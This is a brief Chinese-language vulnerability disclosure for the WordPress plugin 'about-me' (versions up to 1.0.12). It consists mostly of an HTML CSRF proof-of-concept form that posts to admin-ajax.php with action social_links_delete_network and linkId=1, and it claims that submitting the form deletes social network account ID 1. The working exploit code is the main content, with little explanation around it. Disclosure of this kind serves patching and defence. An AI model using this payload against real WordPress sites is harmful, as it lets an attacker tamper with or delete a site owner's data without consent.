about-me < = 1.0.12 subscriber权限下 CSRF导致插件配置更新

POC如下
< html>
< body>
< form action="http://localhost/new/wp-admin/admin-ajax.php?action=social_links_delete_network" method="POST" enctype="multipart/form-data">
< input type="hidden" name="linkId" value="1">
< input type="submit" name="Submit">
< /form>
< /body>
< /html>
执行完会导致直接删除了ID为1的社交网络帐号